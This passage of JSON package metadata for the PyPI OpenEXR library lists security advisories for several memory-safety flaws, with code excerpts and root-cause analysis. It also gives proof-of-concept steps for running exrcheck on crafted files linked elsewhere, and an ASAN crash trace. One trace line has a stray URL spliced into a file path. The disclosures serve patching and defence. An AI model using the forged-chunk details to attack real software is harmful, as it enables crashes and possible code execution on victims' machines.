POTENTIAL CRASH HERE\n                        break;\n                    }\n```\n\nHowever, when `reduceMemory` mode is enabled in the `readDeepScanLine` function in `src/lib/OpenEXRUtil/ImfCheckFile.cpp`, with large sample counts, the sample data will not be read, as shown below:\n\n```cpp\n            // limit total number of samples read in reduceMemory mode\n            //\n            if (!reduceMemory ||\n                fileBufferSize + bufferSize \u003c gMaxBytesPerDeepScanline) // \u003c--- CHECK ON LARGE SAMPLE COUNTS AND reduceMemory\n            {\n            // SNIP...\n            try\n                {\n                    in.readPixels (y);\n                }\n```\n\nTherefore, in those cases, the sample buffer would not be allocated, resulting in a potential write operation on a NULL pointer.\n\n### PoC\n\nNOTE: please download the `runfill_crash.exr` file from the following link:\n \nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-48073\n\n1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.\n2. Open the `runfill_crash.exr` file with the following command:\n\n```\nexrcheck -m runfill_crash.exr\n```\n\n3. Notice that `exrcheck` crashes with ASAN stack-trace.\n\n### Impact\nAn attacker may cause a denial of service by crashing the application.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-31T19:21:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-qhpm-86v7-phmm","https://github.com/ShielderSec/poc/tree/main/CVE-2025-48073","https://nvd.nist.gov/vuln/detail/CVE-2025-48073","https://github.com/advisories/GHSA-qhpm-86v7-phmm"],"source_kind":"github","identifiers":["GHSA-qhpm-86v7-phmm","CVE-2025-48073"],"repository_url":"https://github.com/AcademySoftwareFoundation/openexr","blast_radius":7.513954895666097,"created_at":"2025-07-31T20:09:30.216Z","updated_at":"2026-10-05T15:06:52.213Z","epss_percentage":0.002,"epss_percentile":0.08677,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHBtLTg2djctcGhtbc4ABKsq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xaHBtLTg2djctcGhtbc4ABKsq","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"= 3.3.2"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHBtLTg2djctcGhtbc4ABKsq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cjd3LXEzamctZmY0M84ABKsp","url":"https://github.com/advisories/GHSA-4r7w-q3jg-ff43","title":"OpenEXR Out of Bounds Heap Read due to Bad Pointer Arithmetic in LossyDctDecoder_execute","description":"### Summary\nThe OpenEXRCore code is vulnerable to a heap-based buffer overflow during a read operation due to bad pointer math when decompressing DWAA-packed scan-line EXR files with a maliciously forged chunk.\n\n### Details\n\nIn the `LossyDctDecoder_execute` function (from `src/lib/OpenEXRCore/internal_dwa_decoder.h`, when SSE2 is enabled), the following code is used to copy data from the chunks:\n\n```cpp\n// no-op conversion to linear\nfor (int y = 8 * blocky; y \u003c 8 * blocky + maxY; ++y)\n{\n    __m128i* restrict dst = (__m128i *) chanData[comp]-\u003e_rows[y];\n    __m128i const * restrict src = (__m128i const *)\u0026rowBlock[comp][(y \u0026 0x7) * 8];\n\n    for (int blockx = 0; blockx \u003c numFullBlocksX; ++blockx)\n    {\n        _mm_storeu_si128 (dst, _mm_loadu_si128 (src)); //\n\n        src += 8 * 8; // \u003c--- si128 pointer incremented as a uint16_t\n        dst += 8;\n    }\n}\n```\n\nThe issue arises because the `src` pointer, which is a `si128` pointer, is incremented by `8*8`, as if it were a `uint16_t` pointer (64 * uint16_t == 128 bytes). In non-block aligned chunks (width/height not a multiple of 8), this can cause `src` to point past the boundaries of the chunk.\n\n### PoC\n\nIn order to reproduce the PoC with fidelity and avoid undefined behaviors, it is necessary to enable ASAN (and SSE2). Otherwise the out-of-bound read will not be detected until its side-effect causes a crash.\n\nNOTE: please download the `dwadecoder_crash.exr` file from the following link: \n\nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-48072\n\n1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.\n2. Open the `dwadecoder_crash.exr` file with the following command:\n\n```\nexrcheck dwadecoder_crash.exr\n```\n\n3. Notice that `exrcheck` crashes with ASAN stack-trace.\n\n```\n==2297956==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x52500000a110 at pc 0x55e590db7bf1 bp 0x7fff948bb110 sp 0x7fff948bb108\nREAD of size 16 at 0x52500000a110 thread T0\n    #0 0x55e590db7bf0 in LossyDctDecoder_execute /root/openexr/src/lib/OpenEXRCore/internal_dwa_decoder.h:650:48\n    #1 0x55e590dae18d in DwaCompressor_uncompress /root/openexr/src/lib/OpenEXRCore/internal_dwa_compressor.h:1132:30\n    #2 0x55e590da9960 in internal_exr_undo_dwaa /root/openexr/src/lib/OpenEXRCore/internal_dwa.c:202:18\n    #3 0x55e590d42d03 in exr_uncompress_chunk /root/openexr/src/lib/OpenEXRCore/compression.c:516:14\n    #4 0x55e590dc3132 in exr_decoding_run /root/openexr/src/lib/OpenEXRCore/decoding.c:580:14\n    #5 0x55e590c7d78f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector\u003cImf_3_4::Slice, std::allocator\u003cImf_3_4::Slice\u003e\u003e const\u0026) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:585:23\n    #6 0x55e590c83ed7 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const\u0026, int, int) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:499:21\n    #7 0x55e590c73c97 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /root/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:306:12\n    #8 0x55e590c73c97 in Imf_3_4::InputFile::Data::readPixels(int, int) /root/openexr/src/lib/OpenEXR/ImfInputFile.cpp:446:20\n    #9 0x55e590c1f92f in Imf_3_4::InputFile::readPixels(int) /root/openexr/src/lib/OpenEXR/ImfInputFile.cpp:228:12\n    #10 0x55e590c1f92f in Imf_3_4::InputPart::readPixels(int) /root/openexr/src/lib/OpenEXR/ImfInputPart.cpp:70:11\n    #11 0x55e590c1f92f in bool Imf_3_4::(anonymous namespace)::readScanline\u003cImf_3_4::InputPart\u003e(Imf_3_4::InputPart\u0026, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239:20\n    #12 0x55e590c1f92f in Imf_3_4::(anonymous namespace)::readMultiPart(Imf_3_4::MultiPartInputFile\u0026, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:879:28\n    #13 0x55e590c155af in bool Imf_3_4::(anonymous namespace)::runChecks\u003cchar const*\u003e(char const*\u0026, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1132:21\n    #14 0x55e590c155af in Imf_3_4::checkOpenEXRFile(char const*, bool, bool, bool) /root/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1796:19\n    #15 0x55e590ba5abe in exrCheck(char const*, bool, bool, bool, bool) /root/openexr/src/bin/exrcheck/main.cpp:96:16\n    #16 0x55e590ba6fbe in main /root/openexr/src/bin/exrcheck/main.cpp:164:29\n    #17 0x7f4259e2a1c9 in __libc_start_call_main csu/../sysdeps/npthttps://gitlab.com/qemu-project/qemu/-/issuesl/libc_start_call_main.h:58:16\n    #18 0x7f4259e2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #19 0x55e590ac67d4 in _start (/root/openexr/_build_afl_asan/bin/exrcheck+0x1d87d4) (BuildId: 49c2658b2f9ddef9)\n\n0x52500000a110 is located 752 bytes after 9504-byte region [0x525000007900,0x525000009e20)\nallocated by thread T0 here:\n    #0 0x55e590b61623 in malloc (/root/openexr/_build_afl_asan/bin/exrcheck+0x273623) (BuildId: 49c2658b2f9ddef9)\n    #1 0x55e590db11b1 in LossyDctDecoder_execute /root/openexr/src/lib/OpenEXRCore/internal_dwa_decoder.h:324:22\n    #2 0x55e590dae18d in DwaCompressor_uncompress /root/openexr/src/lib/OpenEXRCore/internal_dwa_compressor.h:1132:30\n    #3 0x55e590da9960 in internal_exr_undo_dwaa /root/openexr/src/lib/OpenEXRCore/internal_dwa.c:202:18\n    #4 0x55e590d42d03 in exr_uncompress_chunk /root/openexr/src/lib/OpenEXRCore/compression.c:516:14\n```\n\n### Impact\nAn attacker could crash the application and in some scenarios also leak data, such as sensitive information or memory addresses that might be used to bypass exploitation mitigations like ASLR.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-31T19:20:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-4r7w-q3jg-ff43","https://github.com/ShielderSec/poc/tree/main/CVE-2025-48072","https://nvd.nist.gov/vuln/detail/CVE-2025-48072","https://github.com/AcademySoftwareFoundation/openexr/commit/2d09449427b13a05f7c31a98ab2c4347c23db361","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3","https://github.com/advisories/GHSA-4r7w-q3jg-ff43"],"source_kind":"github","identifiers":["GHSA-4r7w-q3jg-ff43","CVE-2025-48072"],"repository_url":"https://github.com/AcademySoftwareFoundation/openexr","blast_radius":11.107585497941187,"created_at":"2025-07-31T20:09:30.530Z","updated_at":"2026-10-08T07:53:21.883Z","epss_percentage":0.00509,"epss_percentile":0.41524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cjd3LXEzamctZmY0M84ABKsp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cjd3LXEzamctZmY0M84ABKsp","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"= 3.3.2"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cjd3LXEzamctZmY0M84ABKsp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNDV4LXFoZzItcTM3Nc4ABKso","url":"https://github.com/advisories/GHSA-h45x-qhg2-q375","title":"OpenEXR Heap-Based Buffer Overflow in Deep Scanline Parsing via Forged Unpacked Size","description":"### Summary\n\nThe OpenEXRCore code is vulnerable to a heap-based buffer overflow during a write operation when decompressing ZIPS-packed deep scan-line EXR files with a maliciously forged chunk header.\n\n### Details\nWhen parsing `STORAGE_DEEP_SCANLINE` chunks from an EXR file, the following code (from `src/lib/OpenEXRCore/chunk.c`) is used to extract the chunk information:\n\n```cpp\n\nif (part-\u003estorage_mode == EXR_STORAGE_DEEP_SCANLINE)\n// SNIP...\n        cinfo-\u003esample_count_data_offset = dataoff;\n        cinfo-\u003esample_count_table_size  = (uint64_t) ddata[0];\n        cinfo-\u003edata_offset              = dataoff + (uint64_t) ddata[0];\n        cinfo-\u003epacked_size              = (uint64_t) ddata[1];\n        cinfo-\u003eunpacked_size            = (uint64_t) ddata[2];\n// SNIP...\n```\n\nBy storing this information, the code that will later decompress and reconstruct the chunk bytes, will know how much space the uncompressed data will occupy.\n\nThis size is carried along in the chain of decoding/decompression until the `undo_zip_impl` function in `src/lib/OpenEXRCore/internal_zip.c`:\n\n```cpp\nstatic exr_result_t\nundo_zip_impl (\n    exr_decode_pipeline_t* decode,\n    const void*            compressed_data,\n    uint64_t               comp_buf_size,\n    void*                  uncompressed_data,\n    uint64_t               uncompressed_size,\n    void*                  scratch_data,\n    uint64_t               scratch_size)\n{\n    size_t       actual_out_bytes;\n    exr_result_t res;\n\n    if (scratch_size \u003c uncompressed_size) return EXR_ERR_INVALID_ARGUMENT;\n\n    res = exr_uncompress_buffer (\n        decode-\u003econtext,\n        compressed_data,\n        comp_buf_size,\n        scratch_data,\n        scratch_size,\n        \u0026actual_out_bytes);\n\n    if (res == EXR_ERR_SUCCESS)\n    {\n        decode-\u003ebytes_decompressed = actual_out_bytes;\n        if (comp_buf_size \u003e actual_out_bytes)\n            res = EXR_ERR_CORRUPT_CHUNK;\n        else\n            internal_zip_reconstruct_bytes (\n                uncompressed_data, scratch_data, actual_out_bytes);\n    }\n\n    return res;\n}\n```\n\nThe `uncompressed_size` comes from the `unpacked_size` extracted earlier, and the `uncompressed_data` is a buffer allocated by making space for the size \"advertised\" in the chunk information.\n\nHowever, `scratch_data` and `actual_out_bytes` will contain, after decompression, the uncompressed data and its size, respectively. \n\nThe vulnerability lies in the fact that the `undo_zip_impl` function lacks code to check whether `actual_out_bytes` is greater than `uncompressed_size`. \n\nThe effect is that, by setting the `unpacked_size` in the chunk header smaller than the actual chunk decompressed data, it is possible - in the `internal_zip_reconstruct_bytes` function - to overflow past the boundaries of a heap chunk.\n\n### PoC\n\nNOTE: you can download the `heap_overflow.exr` file from this link:\n\nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-48071\n\n1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.\n2. Open the `heap_overflow.exr` file with the following command:\n\n```\nexrcheck heap_overflow.exr\n```\n\n3. Notice that `exrcheck` crashes with an ASAN stack-trace.\n![image](https://github.com/user-attachments/assets/57907073-bc9f-40bb-9030-16008035ade8)\n\n### Impact\n\nAn attacker might exploit this vulnerability by feeding a maliciously crafted file to a program that uses the OpenEXR libraries, thus gaining the capability to write an arbitrary amount of bytes in the heap. This could potentially result in code execution in the process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-31T19:12:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h45x-qhg2-q375","https://github.com/ShielderSec/poc/tree/main/CVE-2025-48071","https://nvd.nist.gov/vuln/detail/CVE-2025-48071","https://github.com/AcademySoftwareFoundation/openexr/commit/916cc729e24aa16b86d82813f6e136340ab2876f","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3","https://github.com/advisories/GHSA-h45x-qhg2-q375"],"source_kind":"github","identifiers":["GHSA-h45x-qhg2-q375","CVE-2025-48071"],"repository_url":"https://github.com/AcademySoftwareFoundation/openexr","blast_radius":13.721135026868527,"created_at":"2025-07-31T20:09:30.854Z","updated_at":"2026-10-05T15:06:52.213Z","epss_percentage":0.0032,"epss_percentile":0.22655,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNDV4LXFoZzItcTM3Nc4ABKso","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNDV4LXFoZzItcTM3Nc4ABKso","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.3"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNDV4LXFoZzItcTM3Nc4ABKso/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xeGg5LXI4eHctN3Y5Oc37PQ","url":"https://github.com/advisories/GHSA-qxh9-r8xw-7v99","title":"OpenEXR invalid write","description":"In OpenEXR 2.2.0, an invalid write of size 8 in the storeSSE function in ImfOptimizedPixelReading.h could cause the application to crash or execute arbitrary code.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-13T01:17:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-9111","https://github.com/openexr/openexr/issues/232","https://github.com/openexr/openexr/pull/233","https://github.com/openexr/openexr/releases/tag/v2.2.1","https://lists.debian.org/debian-lts-announce/2020/08/msg00056.html","https://www.debian.org/security/2020/dsa-4755","http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00060.html","http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00000.html","http://www.openwall.com/lists/oss-security/2017/05/12/5","https://usn.ubuntu.com/4148-1","https://usn.ubuntu.com/4339-1","https://github.com/advisories/GHSA-qxh9-r8xw-7v99"],"source_kind":"github","identifiers":["GHSA-qxh9-r8xw-7v99","CVE-2017-9111"],"repository_url":"https://github.com/openexr/openexr","blast_radius":0.0,"created_at":"2025-04-22T19:08:20.562Z","updated_at":"2026-10-05T15:07:24.911Z","epss_percentage":0.03192,"epss_percentile":0.87542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeGg5LXI4eHctN3Y5Oc37PQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xeGg5LXI4eHctN3Y5Oc37PQ","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003c 2.2.1"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeGg5LXI4eHctN3Y5Oc37PQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bTU3LWoyNzMtMnFnOc37PA","url":"https://github.com/advisories/GHSA-8m57-j273-2qg9","title":"OpenEXR invalid read","description":"In OpenEXR 2.2.0, an invalid read of size 1 in the getBits function in ImfHuf.cpp could cause the application to crash.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-13T01:17:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-9112","https://github.com/openexr/openexr/issues/232","https://github.com/openexr/openexr/pull/233","https://github.com/openexr/openexr/releases/tag/v2.2.1","https://lists.debian.org/debian-lts-announce/2020/08/msg00056.html","http://www.openwall.com/lists/oss-security/2017/05/12/5","https://usn.ubuntu.com/4148-1","https://github.com/advisories/GHSA-8m57-j273-2qg9"],"source_kind":"github","identifiers":["GHSA-8m57-j273-2qg9","CVE-2017-9112"],"repository_url":"https://github.com/openexr/openexr","blast_radius":0.0,"created_at":"2025-04-22T19:08:20.111Z","updated_at":"2026-10-05T15:07:24.911Z","epss_percentage":0.01866,"epss_percentile":0.785,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTU3LWoyNzMtMnFnOc37PA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTU3LWoyNzMtMnFnOc37PA","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003c 2.2.1"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTU3LWoyNzMtMnFnOc37PA/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/openexr","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/openexr","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/openexr/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-26T01:33:07.270Z","issues_count":238,"pull_requests_count":1148,"avg_time_to_close_issue":30931248.583333332,"avg_time_to_close_pull_request":2127794.817647059,"issues_closed_count":120,"pull_requests_closed_count":1020,"pull_request_authors_count":121,"issue_authors_count":147,"avg_comments_per_issue":2.407563025210084,"avg_comments_per_pull_request":1.2482578397212545,"merged_pull_requests_count":825,"bot_issues_count":1,"bot_pull_requests_count":270,"past_year_issues_count":45,"past_year_pull_requests_count":361,"past_year_avg_time_to_close_issue":583220.1428571428,"past_year_avg_time_to_close_pull_request":384674.1766666667,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":300,"past_year_pull_request_authors_count":45,"past_year_issue_authors_count":30,"past_year_avg_comments_per_issue":2.2222222222222223,"past_year_avg_comments_per_pull_request":0.96398891966759,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":97,"past_year_merged_pull_requests_count":265,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2FOpenEXR/issues","maintainers":[{"login":"cary-ilm","count":420,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cary-ilm"},{"login":"palemieux","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/palemieux"},{"login":"peterhillman","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peterhillman"},{"login":"JeanChristopheMorinPerso","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/JeanChristopheMorinPerso"},{"login":"amazonchris","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/amazonchris"},{"login":"JakubTuta","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/JakubTuta"},{"login":"bergenhem","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bergenhem"}],"active_maintainers":[{"login":"cary-ilm","count":184,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cary-ilm"},{"login":"palemieux","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/palemieux"},{"login":"peterhillman","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peterhillman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/openexr/codemeta","maintainers":[{"uuid":"cary-ilm","login":"cary-ilm","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/cary-ilm/","role":null,"created_at":"2023-10-19T12:10:11.787Z","updated_at":"2023-10-19T12:10:11.787Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/cary-ilm/packages"}]}